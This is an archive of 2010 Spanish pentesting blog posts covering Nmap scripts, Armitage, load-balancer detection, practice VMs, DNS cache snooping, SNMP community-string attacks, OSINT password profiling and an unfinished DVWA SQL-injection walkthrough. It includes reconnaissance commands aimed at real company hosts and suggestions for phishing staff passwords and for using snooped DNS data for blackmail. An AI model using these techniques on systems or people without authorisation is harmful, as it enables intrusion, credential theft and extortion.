miércoles, 22 de diciembre de 2010

Scripts para Nmap - Más allá del -T4 -A

Buenas a todos, esta vez quería escribir algo acerca de una funcionalidad de Nmap bastante menos conocida comparada con otras como los tipos de escaneos.
Dicha funcionalidad no es más que el uso de los scripts NSE (nmap scripting engine), dichos scripts los podéis encontrar en http://nmap.org/nsedoc/scripts/ y están programados en LUA.

Hay bastantes scripts (actualmente unos 160) divididos en distintas categorías según el tipo de servicio, si son intrusivos o no, de DoS, etc
Su uso es muy sencillo, basta con especificar las categorías de scripts a pasar o indicar directamente los que queramos pasar de forma concreta, por ejemplo:

nmap -sS -sV -p21 --script=ftp-anon.nse SUBRED/MASCARA nos comprobará en ese rango de direcciones IP si existe un servicio FTP a la escucha, en caso de ser así intentará conectarse como un usuario anónimo y nos mostrará un simple listado de directorios en caso de que sea posible usar el usuario anónimo.

He puesto un ejemplo sencillo y concreto, pero podrían combinarse varios para realizar cosas muy interesantes, buscar bases de datos, ssh, ftp y demás en el rango de la empresa que estamos auditando etc.

Por último, comentar que para usar correctamente los scripts lo mejor es tener el nmap actualizado directamente del SVN, para ello se usan los siguientes comandos:

Para copiarlo: svn co --username guest --password "" svn://svn.insecure.org/nmap/ nmap-svn
Para actualizarlo: svn up.
Para compilarlo: /configure && make
Y para instalarlo (como root): make install

Así nos evitamos cualquier posible problema a la hora de usar los scripts.

Un saludo a todos y espero que echéis un ojo a los scripts disponibles y empecéis a usarlos los que no los usáseis ya.

domingo, 5 de diciembre de 2010

Armitage - juguete para Metasploit

Buenas a todos, os dejo rápidamente una breve entrada respecto a una herramienta que he probado hace poco.

Recientemente la gente de Offensive Security han añadido la herramienta Armitage al repositorio de Backtrack.

¿Qué es Armitage? Pues "simplemente" una interfaz para Metasploit realizada en Java. A priori puede parecer simple en el aspecto (mucho mejor, como se ve en cuanto se empieza a usar), pero permite sacarle prácticamente todo el potencial a Metasploit.
Permite realizar todo tipo de ataques, escaneos de red para detectar host y puertos abiertos, importar resultados de Nessus, Nmap, Nexpose..., realizar explotaciones remotas, generación de payload y mucho más.

Pero, donde realmente empieza la diversión, es cuando ya tenemos una shell y empezamos la post explotación. Armitage nos ayuda en multitud de tareas para la postexplotación, como ataques pass-the-hash, pivotar a través de los host ya comprometidos, montar un servidor proxy para utilizar otras herramientas mediante los host con los que vamos a pivotar (ojito la cantidad de posibilidades que nos abre esto), etc, etc.



Todo ello de forma gráfica, estilo "click & exploit". Puede ayudarnos enormemente a la hora de realizar algunos ataques y tenerlo todo más controlado de forma gráfica y menos enrevesada.

Por último, os dejo el enlace a la web oficial desde donde podréis descargarlo y ver un par de vídeos con la herramienta en acción:

http://www.fastandeasyhacking.com/

Saludos a todos!

martes, 16 de noviembre de 2010

Detectando balanceadores de carga

A la hora de realizar un pentest o auditoría, y antes siquiera de escanear equipos, debemos intentar detectar e identificar posibles balanceadores de carga. Esto tiene una explicación muy sencilla y es la siguiente: podemos realizar un escaneo de puertos y darse la situación de que, por ejemplo, unas peticiones han sido asignadas a un servidor concreto y otras peticiones a otras, por lo que se obtendrán resultados incosistentes.
Lo mismo pasará a la hora de realizar un escaneo de vulnerabilidades, podemos encontrar un servidor vulnerable, lanzarle un exploit y que el exploit se dirija a un host no vulnerable. Por el contrario, puede darse el caso de no encontrar una vulnerabilidad por haber auditado sólo un host.

Antes de pasar a ver los principales métodos de detección de balanceadores vamos a ver las principales técnicas usadas para balancear:

  • Basado en DNS: basado en algoritmo round robin, cada petición es respondida con una IP distinta. Ello no quiere decir ni que sea el servidor con menos carga ni que dicho servidor esté accesible.
  • Least connections: Se redirigen las peticiones al servidor con menos conexiones.
    • Dicho balanceo se puede configurar para dar "pesos" a cada servidor según sus capacidades.
  • Persistencia por cookie: En casos como una tienda online o un portal que se requiera un constante chequeo de credenciales se puede marcar mediante cookie una conexión "persistente" para que, una vez autenticado, tus peticiones vayan al mismo servidor y así no tener problemas con las sesiones.
  • Los sistemas anteriores pueden complementarse con mecanismos como la latencia de un ping para intentar entregar el recurso solicitado desde el servidor más cercano geográficamente para intentar conseguir un mejor rendimiento.

Dicho esto vamos a ver un par de formas para detectar balanceadores de carga:

Mediante consulta DNS
Para ello bastará con realizar una consulta de tipo A y ver si se nos devuelven múltiples entradas.
z0mbiehunt3r@d3im0s:~$ dig www.tuenti.com A
;; ANSWER SECTION:
www.tuenti.com. 860 IN A 95.131.168.193
www.tuenti.com. 860 IN A 95.131.168.194
www.tuenti.com. 860 IN A 95.131.168.195
www.tuenti.com. 860 IN A 95.131.168.196



Como vemos se nos devuelven dos entradas de tipo A que corresponden a dos host de la red Akamai.


hping3
Con la herramienta hping3 podemos crear paquetes "al gusto", para realizar esta comprobación vamos a crear paquetes con la flag SYN establecida y el puerto de destino 80, para intentar abrir una conexión con el/los host remotos.
root@d3im0s:~# hping3 -S -p 80 www.f5.com
HPING www.f5.com (eth1 65.61.115.222): S set, 40 headers + 0 data bytes
len=46 ip=65.61.115.222 ttl=239 DF id=30681 sport=80 flags=SA seq=0 win=1608 rtt=221.1 ms
len=46 ip=65.61.115.222 ttl=239 DF id=34470 sport=80 flags=SA seq=1 win=1608 rtt=222.5 ms
len=46 ip=65.61.115.222 ttl=238 DF id=35460 sport=80 flags=SA seq=2 win=1608 rtt=229.4 ms
len=46 ip=65.61.115.222 ttl=239 DF id=36912 sport=80 flags=SA seq=3 win=1608 rtt=218.5 ms
len=46 ip=65.61.115.222 ttl=239 DF id=37908 sport=80 flags=SA seq=4 win=1608 rtt=223.8 ms
len=46 ip=65.61.115.222 ttl=240 DF id=38775 sport=80 flags=SA seq=5 win=1608 rtt=219.7 ms
len=46 ip=65.61.115.222 ttl=238 DF id=40694 sport=80 flags=SA seq=6 win=1608 rtt=219.9 ms
len=46 ip=65.61.115.222 ttl=239 DF id=43097 sport=80 flags=SA seq=7 win=1608 rtt=226.0 ms


Podemos observar que el IP ID devuelto no es sólo incremental o establecido a 0 siempre, sino que tenemos varios que son menores que el IP ID anterior, cosa imposible salvo que sean servidores distintos.


Load Balancing Detector
root@bt:/pentest/enumeration/lbd# ./lbd.sh www.microsoft.com

lbd - load balancing detector 0.1 - Checks if a given domain uses load-balancing.
                                    Written by Stefan Behte (http://ge.mine.nu)
                                    Proof-of-concept! Might give false positives.

Checking for DNS-Loadbalancing: FOUND
lb1.www.ms.akadns.net has address 207.46.170.10
lb1.www.ms.akadns.net has address 207.46.170.123

Checking for HTTP-Loadbalancing [Server]: 
 Microsoft-IIS/7.5
 FOUND

Checking for HTTP-Loadbalancing [Date]: 21:23:54, 21:23:55, 21:23:55, 21:23:56, 21:23:56, 21:23:56, 21:23:57, 21:23:58, 21:23:58, 21:23:59, 21:23:59, 21:24:00, 21:24:00, 21:24:01, 21:24:01, 21:24:01, 21:24:03, 21:24:03, 21:24:04, 21:24:04, 21:24:05, 21:24:05, 21:24:05, 21:24:06, 21:24:06, 21:24:07, 21:24:07, 21:24:08, 21:24:08, 21:24:09, 21:24:09, 21:24:09, 21:24:11, 21:24:11, 21:24:12, 21:24:12, 21:24:13, 21:24:13, 21:24:14, 21:24:14, 21:24:14, 21:24:14, 21:24:16, 21:24:16, 21:24:16, 21:24:17, 21:24:17, 21:24:18, 21:24:18, 21:24:19, NOT FOUND

Checking for HTTP-Loadbalancing [Diff]: FOUND
< VTag: 279850942700000000
> VTag: 791860011400000000

www.microsoft.com does Load-balancing. Found via Methods: DNS HTTP[Server] HTTP[Diff]

En este caso se ha identificado balanceo de carga gracias a las diferencias introducidas en las cabeceras HTTP por cada servidor.


Cookie
z0mbiehunt3r@d3im0s:~# telnet communities.vmware.com 80
Trying 92.123.78.41...
Connected to a1005.g.akamai.net.
Escape character is '^]'.
HEAD / HTTP/1.1
HOST: communities.vmware.com

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html
Expires: Tue, 16 Nov 2010 22:02:49 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 22:02:49 GMT
Connection: keep-alive
Set-Cookie: JSESSIONID=5CFA78E5C5959F0298E0AAFFEAF17589; Path=/
Set-Cookie: BIGipServercommunities-prod-pool=1396601098.36895.0000; expires=Tue, 16-Nov-2010 23:02:49 GMT; path=/

Connection closed by foreign host.

Como podemos observar en la imagen, a parte de usar la red Akamai, se utilizan appliances F5 BIG-IP. Existe un fallo de information disclosure que nos permite sacar las direcciones IP internas de los servidores a través de la cookie para comprobarlo usamos el plugin 20089 de Nessus.

Plugin Output
The first column is the original cookie, the second the IP address and
the third the TCP port:

  BIGipServercommunities-prod-pool=1396601098.36895.0000 10.113.62.83 8080
  BIGipServercommunities-prod-pool=1379823882.36895.0000 10.113.62.82 8080
  BIGipServercommunities-prod-pool=1363046666.36895.0000 10.113.62.81 8080

Bueno, y hasta aquí llegó la breve introducción a la detección de balanceadores de carga, espero que os haya gustado y os haya despertado el gusanillo de comprobar distintos sitios.

Saludos!

domingo, 7 de noviembre de 2010

Montando un lab (II) - Aplicaciones Web

Bueno, aquí estamos otra vez para continuar trasteando con máquinas virtuales con el fin de aprender conceptos de seguridad informática, en este caso seguridad en aplicaciones web.

Existen multitud de fuentes para obtener material con el que practicar distintas técnicas que van desde la sql injection hasta ataques de cross site scripting, pasando por ataques cross site request forgery...

Primero voy a comentaros mi opinión acerca de las que he probado y luego pondré unos enlaces interesantes.

Damn Vulnerable Web App
Contiene distintos scripts en php para realizar distintos ataques, XSS, SQLi, bruteforce, RCE, LFI, etc
Lo que más me gusta de DVWA es la posibilidad de utilizar PHPIDS a la hora de probar ataques para ver el log y demás junto con el hecho de tener tres niveles de seguridad de cada prueba, cada nivel utiliza una función o filtro distinto con el fin de aprender a saltar los filtros más comunes.
También es muy útil el botón para que se nos muestre el código de la aplicación con el fin de pensar cómo atacarlo basándonos en su funcionamiento.


Mutillidae
Mutillidae es un conjunto de scripts que tienen como fin enseñar y aleccionar sobre las vulnerabilidades del TOP10 de OWASP, está bastante interesante para probar todo el abanico del TOP10, pudiendo obtener consejos en todo momento.


Moth
Moth es una máquina virtual pensada también para realizar ataques a aplicaciones web, con la diferencia que es una recopilación de aplicaciones web que podemos encontrarnos en múltiples sitios y la posibilidad también de atacarlas directamente, mediante mod-security y mediante phpids.


Gruyere
Gruyere es la aplicación creada por Google y que antes se llamaba Jarlsberg. Tiene un manual online en el que viene todo muy bien explicado para poder realizar todas las pruebas y aprender a evitar dichos errores de programación.

Aparte existen webs online de fabricantes para probar herramientas (quizá os sea útil si queréis probar algún script propio o similar), la serie hackme de Foundstone, múltiples aplicaciones de OWASP y algunas más.
Os dejo a continuación dos post de securitybydefault donde encontraréis el resto de aplicaciones para montaros vuestro banco de pruebas.

Un saludo a todos :)

domingo, 17 de octubre de 2010

Montando un lab ( I ) - De-ICE

Hace ya un mes desde la última entrada... me temo que he estado más liado de lo que me hubiese gustado (bueno, y una escapadita a Asturias, pero eso no cuenta :P ) y no he podido escribir antes a pesar de que tengo bastantes cosas pendientes por publicar... vamos a ver si poco a poco se normaliza todo y puedo volver a publicar varias entradas a la semana.

En más de una ocasión he acabado hablando con compañeros o amigos acerca de cómo montar un "laboratorio de pentest" con el que poder practicar distintas técnicas, hacer perrerías de todo tipo y demás; la verdad que actualmente es bastante fácil montarse uno gracias a las máquinas virtuales, además de que ya hay disponibles varias máquinas virtuales ideadas para hacer prácticas de seguridad y aprender en el camino.

Las primeras que voy a comentar son las máquinas virtuales disponibles en http://www.de-ice.net/, varias creadas por Thomas Wilhelm y otra creada por un miembro del foro, bond00.

Entre las creadas por Thomas tenemos tres grupos por así decirlo, un primer nivel compuesto por dos máquinas virtuales, un segundo nivel compuesto por una única máquina virtual y otro correspondiente a unos artículos que Thomas está publicando en la revista hakin9 (si no la conocéis os la recomiendo encarecidamente, podéis suscribiros y recibirla gratuitamente en el correo desde hace unos meses).

De-Ice Level 1:

Bajo mi punto de vista no tienen mucho a nivel técnico puesto que casi todo se basa en técnicas de fuerza bruta (por supuesto es una opción más a tener en cuenta a la hora de realizar una prueba de pentest), básicamente realizar una enumeración de posibles usuarios con los datos de la web, comprobarlos con el correo y conseguir una credencial básica para poder realizar una escalada de privilegios posteriormente.

Aunque no me gusten tanto como otras opciones también conviene practicar dichas técnicas y llevará darle al coco un buen rato para resolver alguna que otra cosa.

De-Ice Level 2:

Aún no he podido jugar mucho con él, pero por lo que he podido ver (por Internet circulan distintos vídeos de cómo resolverlo) tiene mejor pinta que los anteriores (al menos bajo mi punto de vista, claro). Siento no poder decir mucho más, pero sin haberlo resuelto tampoco me voy a mojar demasiado, jeje.

VM Hakin9:

La verdad que hasta donde he podido ver con dichas máquinas virtuales me ha gustado mucho (en los números de hakin9 va publicando las "soluciones"). Entre las cosas que más me ha gustado es la implementación de una backdoor que abre una shell de root mediante una técnica simple de "port-knocking", realmente original el implementarlo y realmente fácil de encontrar en un servidor que ha sido comprometido.

También ha incluido la segunda máquina virtual para que se ataque desde la primera, aprovechándonos de lo que se conoce como "abuso de confianza", algo que es fácil que se nos pase por alto en un momento dado, pero conviene tener en cuenta que muchas máquinas tienen un firewall de host que permite ciertas conexiones sólo desde ciertas máquinas "seguras y administradas".
Realmente recomendables...

pwnOS:

Además del trabajo realizado por Thomas nos encontramos con una máquina virtual creada por bond00 llamada pwnOS.
Dicha máquina virtual está pensada para ser atacada con exploits encontrados en, la ya difunta, milw0rm; estuvo mucho tiempo en la brecha, aunque finalmente str0ke decidió no continuar el trabajo y tras un tiempo de incertidumbre de si alguien cogería el relevo decidió cerrar.
Los chicos de Offensive Security (la gente de Backtrack) crearon www.exploit-db.com e importaron todo el material ya existente en milw0rm, además de que diariamente se añaden cosas nuevas, también os recomiendo que os deis una vuelta por la web.

Pero bueno, que me voy por los cerros de Úbeda... volviendo al tema de la máquina virtual, podéis encontrar los exploit en exploit-db e incluso en Metasploit.

Lo que me gustó de dicha máquina es que tiene varias formas de resolverse, algunas más técnicas y otras menos. Por ejemplo, podemos aprovecharnos de la predictibilidad, digo aleatoriedad, de la que sufrió Debian para poder conectarnos por ssh y después escalar privilegios con exploit local...

Espero que os haya gustado la entrada y ya estéis descargando las máquinas para probarlas... (si tenéis cualquier duda pregutad).

En las próximas entradas mostraré otras máquinas pensadas también para ser atacadas y practicar cosillas de seguridad (además de explicar cómo montar un pequeño laboratorio de red para realizar ataques a protocolos de red)


Un saludo, gente

PD: Si véis que con este tipo de máquinas virtuales no sabéis por donde tirar probad a escanearlas con Nessus y OpenVAS ;)

viernes, 10 de septiembre de 2010

Information Gathering - DNS Cache Snooping

Como ya hemos visto en alguna ocasión, a la hora de realizar una auditoría o una prueba de pentest lo primero y más importante es reunir cuanta información sea posible acerca del objetivo, es la fase que se denomina "information gathering".

Probablemente nos interese saber qué clase de webs visitan los usuarios de dicha empresa, quizá para realizar un ataque de ingeniería social relacionado con alguno de los dominios cacheados, o realizar un ataque de evilgrade para comprometer equipos. La mejor manera de saber los dominios visitados es comprobar si se puede realizar un "snooping" sobre la caché del servidor DNS.
¿Y cómo sabemos si se puede realizar? Muy fácil, debido al funcionamiento jerárquico del protocolo DNS si nosotros realizamos una consulta DNS e indicamos al servidor que es una consulta no recursiva (el servidor DNS no intentará escalar la consuta) y se nos devuelve la entrada de dicha consulta querrá decir que el servidor permite realizar consultas a la caché y que dicho dominio ya se ha solicitado con anterioridad.

Hace un tiempo cree un pequeño script en python para poder realizar dicho trabajo de una forma sencilla. Para obtener una lista de dominios que probar lo más fácil es acudir a Alexa y extraer los dominios que nos interesen, incluso tienen un csv con el top 1 millón de webs en el ránking. Dependiendo de la finalidad buscada se pueden usar distintas categorías:
  • Direcciones de actualización para realizar ataques de evilgrade
  • Dominios de malware para saber si algún equipo está contactando con un servidor de malware (existen multitud de dominios de malware, pero puede ser útil para comprobar algunos en concreto)
  • Un atacante con fines lucrativos podría buscar ciertos dominios "para adultos" con el fin de chantajear
  • Búsqueda de redes sociales y profesionales. Por ejemplo, para buscar en ellas más información acerca de los empleados.
  • Para buscar tus propios dominios y saber si la empresa se ha interesado por tí. Por ejemplo, una entidad de gestión visitando páginas p2p o de detectives privados :)
  • Y un sinfín de posibilidades, os animo a comentar más posibilidades.
A continuación os dejo unos pantallazos del script:

El script al ejecutarse sin parámetros y la ayuda del mismo


El script al ejecutarlo con el parámetro -c que comprueba si los servidores DNS correspondientes a un dominio permiten resolución no recursiva.

La forma en la que comprueba si un servidor es susceptible de dicha enumeración es pidiendo primero unas direcciones muy comunes como puedan ser google, youtube, facebook, etc.
(He quitado el dominio por si acaso a alguien se le ocurre tirarle la lista de Alexa entera o algo así...)

Aquí el programa con el parámetro -s y los primeros resultados de la lista de Alexa

Bueno, aquí os dejo el código, espero que os sirva.

Un saludo a todos y hasta la próxima!

martes, 7 de septiembre de 2010

Atacando SNMP (II)

Sacando las cadenas de comunidad

Cargamos metasploit, el módulo necesario y lo configuramos:

root@bt:~# msfconsole
msf > use auxiliary/scanner/snmp/community
Vemos las opciones de configuración:


Pasamos a configurarlo:
msf auxiliary(community) > set RHOSTS 192.168.1.1, 192.168.1.51, 192.168.1.230
RHOSTS => 192.168.1.1, 192.168.1.51, 192.168.1.230
msf auxiliary(community) > set THREADS 3
THREADS => 3

Y lo ejecutamos:


Como se puede ver hemos obtenido las comunidades SNMP gracias a Metasploit.


Leyendo la configuración con snmpenum

Probamos a extrare la configuración del router cisco (el segundo argumento es la cadena y el tercero el fichero de texto con los OID):
root@bt:/pentest/enumeration/snmpenum# ./snmpenum.pl 192.168.1.51 private cisco.txt

Entre toda la información conseguida se encuentra la siguiente:

----------------------------------------
    PROCESSES
----------------------------------------

Chunk Manager
Load Meter
[...]
SNMP ENGINE


----------------------------------------
    IP ADDRESSES
----------------------------------------

192.168.1.51
192.168.2.51



----------------------------------------
    HARDWARE
----------------------------------------

2691 chassis
3620 Chassis Slot
c2691 Motherboard with Fast Ethernet


Y ahora probamos a extraer la información del router de Vyatta, pero esta vez usando los OID de Linux:

root@bt:/pentest/enumeration/snmpenum# ./snmpenum.pl 192.168.1.230 write linux.txt

----------------------------------------
    RUNNING PROCESSES
----------------------------------------

init
kthreadd
migration/0
ksoftirqd/0
watchdog/0


----------------------------------------
    LISTENING UDP PORTS
----------------------------------------

123
161
520


----------------------------------------
    LISTENING TCP PORTS
----------------------------------------

22
443



Leyendo la configuración con snmpcheck

Probamos a leer la configuración con snmpcheck del router cisco (el segundo parámetro es la comunidad y el tercero indica que se compruebe si se puede escribir):

root@bt:/pentest/enumeration/snmpcheck# ./snmpcheck.pl -t 192.168.1.51 -c private -w
snmpcheck.pl v1.7 - snmp enumerator
Copyright (c) 2005-2008 by Matteo Cantoni (nothink.org)

 [*] try to connect to 192.168.1.51...
 [x] Connected to 192.168.1.51! Starting check at Mon Sep  6 17:05:05 2010

 [!] Write access enabled!

[*] Network interfaces
 -----------------------------------------------------------------------------------------------

 IP Forwarding Enabled   : 1

 Interface               : [ up ] FastEthernet0/0
    Hardware Address : 0xc0002bd10000
    Interface Speed  : 10 Mbps
    IP Address       : 192.168.1.51
    Netmask          : 255.255.255.0
    MTU              : 1500
    Bytes In         : 7397380 (7.1M)
    Bytes Out        : 181463 (178K)

 Interface               : [ up ] FastEthernet0/1
    Hardware Address : 0xc0002bd10001
    Interface Speed  : 10 Mbps
    IP Address       : 192.168.2.51
    Netmask          : 255.255.255.0
    MTU              : 1500
    Bytes In         : 58722 (58K)
    Bytes Out        : 82403 (81K)

 Interface               : [ up ] Null0
    Interface Speed  : 4294.967295 Mbps
    MTU              : 1500



Y ahora probamos a extraer la configuración del router Vyatta:
root@bt:/pentest/enumeration/snmpcheck# ./snmpcheck.pl -t 192.168.1.230 -c write -w
snmpcheck.pl v1.7 - snmp enumerator
Copyright (c) 2005-2008 by Matteo Cantoni (nothink.org)

 [*] try to connect to 192.168.1.230...
 [x] Connected to 192.168.1.230! Starting check at Mon Sep  6 17:07:16 2010

 [!] Write access enabled!

 Hostname        : vyatta
 Description     : Vyatta VC6.0-2010.06.01
 Uptime (snmpd)  : 39 minutes, 38.57


[*] Devices
 -----------------------------------------------------------------------------------------------

 Status   Name

 running  network interface lo
 running  network interface eth0
 running  SCSI disk (/dev/sda)
 unknown  Guessing that there's a floating point co-processor
 unknown  GenuineIntel: Intel(R) Core(TM)2 Quad CPU    Q8300  @ 2.50GHz


Se extrae bastante más información, pero pongo sólo una parte.


Leyendo la información con snmpwalk

También es posible utilizar el programa snmpwalk para recorrer toda la MIB (Base de Información de Administración )e ir mostrando cada OID (ID de Objeto).


root@bt:/# snmpwalk -c private -v1 192.168.1.51

Y veremos toda la información:
[...]
IP-FORWARD-MIB::ipCidrRouteDest.192.168.1.0.255.255.255.0.0.0.0.0.0 = IpAddress: 192.168.1.0
IP-FORWARD-MIB::ipCidrRouteDest.192.168.2.0.255.255.255.0.0.0.0.0.0 = IpAddress: 192.168.2.0
IP-FORWARD-MIB::ipCidrRouteMask.192.168.1.0.255.255.255.0.0.0.0.0.0 = IpAddress: 255.255.255.0
[...]



Además de leer la configuración como comentamos en el primer post es posible escribir en la misma utilizando SNMP, si no utilizamos ninguna herramienta gráfica es un proceso bastante engorroso y nada intuitivo (salvo que te aprendas de memoria los OID...) en cualquier caso aquí dejo un ejemplo de la web de Cisco para crear una VLAN por SNMP.


Como hemos visto en las dos últimas entradas el uso del protocolo SNMP es algo que se debe estudiar con cuidado y plantearse la necesidad del mismo, sobretodo si no se usa la versión 3.

Un saludo a todos

lunes, 6 de septiembre de 2010

Atacando SNMP (I)

Es común encontrar dispositivos de red y servidores monitorizados mediante SNMP para obtener estadísticas acerca del tráfico, procesos corriendo en memoria, estado de las interfaces, etc.
El principal problema de seguridad que encontramos en el protocolo SNMP es que, en sus versiones 1 y 2, el campo "comunidad" (usado para la autenticación) va sin cifrar, por lo que cualquier ataque de eavesdropping, como un man in the middle, permitirá leer en claro la cadena y usarla para prácticamente cualquier tipo de fin.
En SNMP se utilizan dos cadenas de comunidad, normalmente una denominada "public" que permite leer la configuración del dispositivo y una denominada "private" que permite leer y grabar la configuración.

Para poder realizar las prácticas vamos a usar Vyatta por un lado (software basado en Linux que permite montar routers de forma gratuita además de poder usarse como IPS,VPN y content filtering) y por otro routers Cisco 2691, en mi caso emulados con GNS3.


Instalación y configuración de Vyatta

Una vez hemos creado una máquina virtual y arrancado desde la iso bastará con que ejecutemos los siguientes comandos para tenerlo todo listo:

vyatta@vyatta# install image
Seguimos los pasos del asistente pero dejándolo todo por defecto no tardaremos más de un par de minutos en instalarlo.

vyatta@vyatta# configure
vyatta@vyatta# set interfaces ethernet eth0 address 192.168.1.230/24
vyatta@vyatta# set service https
vyatta@vyatta# set service ssh
vyatta@vyatta# commit

Con ello conseguiremos activar la interfaz, darle una dirección IP y activar los servicios ssh y https por comodidad.

Para activar SNMP:
vyatta@vyatta# set service snmp community read
vyatta@vyatta# edit service snmp community read
vyatta@vyatta# set authorization ro
vyatta@vyatta# commit
vyatta@vyatta# top

vyatta@vyatta# set service snmp community write
vyatta@vyatta# edit service snmp community write
vyatta@vyatta# set authorization rw
vyatta@vyatta# commit
vyatta@vyatta# top




Configuración Cisco
Router> enable
Router#configure terminal
Router(config)#interface fastEthernet 0/0 (en este caso es la que tengo conectada a la tarjeta de red)
Router(config-if)#ip address 192.168.1.51 255.255.255.0
Router(config-if)#no shutdown
Router(config)#snmp-server community public RORouter(config)#snmp-server community private RW


Localizando dispositivos que utilizan SNMP
Una de las formas más fáciles y rápidas es lanzar un escaneo de puertos con nmap, como sabemos que SNMP utiliza el puerto UDP 161:

root@bt:~# nmap -sU -p161 --open --reason 192.168.1.0/24
 Starting Nmap 5.35DC1 ( http://nmap.org ) at 2010-09-06 16:33 EDT
Nmap scan report for 192.168.1.1
Host is up, received arp-response (0.0013s latency).
PORT    STATE         SERVICE REASON
161/udp open|filtered snmp    no-response
MAC Address: 00:02:CF:6D:23:DF (ZyGate Communications)

Nmap scan report for 192.168.1.51
Host is up, received arp-response (0.0073s latency).
PORT    STATE SERVICE REASON
161/udp open  snmp    udp-response
MAC Address: C0:00:2B:D1:00:00 (Unknown)

Nmap scan report for 192.168.1.230
Host is up, received arp-response (0.00045s latency).
PORT    STATE SERVICE REASON
161/udp open  snmp    udp-response
MAC Address: 00:0C:29:C1:2E:EE (VMware)

Nmap done: 256 IP addresses (5 hosts up) scanned in 3.29 seconds



La opción --open es para que nmap sólo muestre los host con el puerto categorizado como abierto y --reason nos indica el por qué de dicha categorización.

Una vez que sabemos las direcciones ips debemos "adivinar" las cadenas de comunidad que utilizan los dispositivos.

OSINT (I) - Redes Sociales

OSINT son las siglas de Open Source Intelligence, una forma de recolectar y procesar información disponible públicamente y convertirla en algo de provecho para nuestros fines.

En nuestro caso lo aplicaremos a la hora de realizar una auditoría de seguridad o prueba de intrusión, el primer paso y casi el más importante es la recolección de información, donde deberemos invertir gran parte del tiempo en obtener toda la información relativa que nos sea posible.

En este caso vamos a centrarnos en las redes sociales y cómo aprovechar la información que mucha gente publica a la hora de realizar una prueba de intrusión.

Imaginemos el caso en el que nos encargan una auditoría y nos dan sólo una página web corporativa, entre muchas cosas (que veremos en próximos posts), deberemos enterarnos de la gente que se encarga de la infraestructura informática; para ello normalmente bastará con buscar un poco en la página web a ver si hay correo de contacto de soporte, infraestructuras, seguridad, etc y ponernos en contacto con ellos con cualquier excusa (algún presupuesto o pregunta acerca de servicios) para obtener una respuesta que, en la mayoría de ocasiones, irá con nombre y apellidos, quizá incluya a más gente del grupo en copia, por lo que obtenemos información adicional.

Llegados a este punto tenemos una lista de usuarios que pueden manejar información sensible como pueda ser contraseñas, direcciones IP, acceso a equipos críticos o simplemente como puente para un ataque de ingienería social (a lo mejor en su correo no guarda passwords, pero muchos usuarios contestarán afirmativamente a un correo de alguien de sistemas que solicite su password por haberse quedado inoperativa su cuenta por un cuelgue del sistema o similar).

Lo primero que hemos de hacer es conseguir una lista de passwords que probar, por lo que, una vez añadidas passwords comunes como puedan ser 123456, admin123, etc, deberemos recabar información acerca de la persona como gustos, nombres de mascotas, de pareja, familiares, etc.

Para ello lo mejor suele ser una búsqueda por redes sociales y buscadores, pongo un ejemplo:


 De su perfil extraemos varios datos importantes:
  • Nombres de familiares
  • Contactos (quizá más familiares y/o pareja)
  • Sus películas favoritas
  • Según el perfil podemos sacar muchas más cosas como colegios, mascotas, viejos amigos, etc

Ahora pasamos a usar la herramienta CUPP (Common User Password Profiler), un script que se basa en prácticas comunes y tendencias de la mente humana a la hora de crear una contraseña que nos resulte fácil de recordar usando para ello recursos de la vida cotidiana o fácilmente recordables para nosotros.

Además de tener varios métodos para descargar wordlist de varias localizaciones y usar reglas con otras existentes tiene un método interactivo basado en algunas preguntas (seguro que alguna pregunta os recuerda a algo...):


Si queremos obtener algunas palabras relacionadas, por ejemplo personajes de Star Wars, podemos usar (aparte de buscadores, claro) los servicios de Google Sets y de Google Square (dichos servicios son muy útiles para múltiples fines).


Y algunas palabras del fichero final (sólo restaría refinarlo y lanzar el ataque):

  • Bart041987
  • BartSimpson
  • Marge198704

Como vemos son patrones comunes en algunos casos, siempre podemos mejorarla añadiendo más información personal y utilizando otro tipo de reglas de modificación, además de que se puede usar la misma técnica para crackear un hash de una persona concreta, preparando una gran base de datos y alimentando un script para que utilice múltiples reglas de modificación y cree una wordlista ún más grande.

Un saludo y espero que lo hayáis encontrado interesante.

viernes, 3 de septiembre de 2010

De SQL Injection a Root

Imagino que todos alguna vez hemos oído que una SQL Injection en un servidor con una base de datos "no interesantes" como simples noticias o anuncios tampoco es tan grave ni puede ir mucho más lejos que el robo de las noticias...

Vamos a ver cómo un atacante puede aprovecharse de una mala configuración de MySQL, Aplicación PHP y servidor web para hacerse root en la máquina con una "inofensiva" SQL Injection.

Para el ejemplo usaré la aplicación Damn Vulnerable Web Application, una aplicación web programada con la idea de servir de banco de pruebas de seguridad web, pudiendo practicar distintas técnicas contra la misma.
Una anotación, si intentáis probar la aplicación montándola en otro servidor que no sea desde el que solicitáis la web no os va a dejar acceder debido al fichero .htaccess que tiene incluído, tendréis que modificarlo o borrarlo.

Lo primero es localizar la inyección SQL, existen múltiples formas, desde el uso de herramientas de código hasta el uso de herramientas automatizadas pasando por el uso de proxys interceptores que permiten modificar las peticiones antes de ser enviadas.
En éste caso, y por ser lo más fácil para el ejemplo, simplemente probaremos a introducir una comilla para ver cómo reacciona la aplicación (en SQL las comillas se utilizan para crear la sentencia SQL, por lo que si la aplicación acepta la misma romperemos la cadena SQL y provocaremos un error).

Aquí vemos el funcionamiento normal de la aplicación al buscar el ID número 1:



Y aquí lo que ocurre al introducir ' en el parámetro id:


Ahora debemos observar el error para entender cómo se construye la sentencia SQL:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

Si nos fijamos veremos que sale el 1' que nosotros introdujimos, por lo que imaginamos que la consulta es algo similar a lo siguiente:
$consulta="SELECT campos FROM tabla WHERE id = '$id' "

Al añadir nosotros la comilla formamos la siguiente consulta SQL:
$consulta="SELECT campos FROM tabla WHERE id = '1'' "

Por lo que dejamos la consulta SQL abierta y la aplicación nos devuelve un error avisándonos de ello.
De hecho, si probamos a introducir dos comillas cerraremos correctamente la sentencia SQL y veremos lo siguiente:


Llegados a éste punto tenemos que saber cuántas columnas se están usando en la consulta para poder hacer un UNION con cualquier otra tabla a la que el usuario que conecta con MySQL tenga acceso.

Para saber el número de columnas que tiene la consulta usaremos el comando ORDER BY que se utiliza para indicarle al motor de mysql el campo por el que ha de ordenar, se puede indicar un número o el nombre del campo.

Para ello empezaremos por el número uno e iremos incrementando hasta que no de error ya que en el momento que de error nos hemos pasado (no se puede ordenar por una columna que no existe).

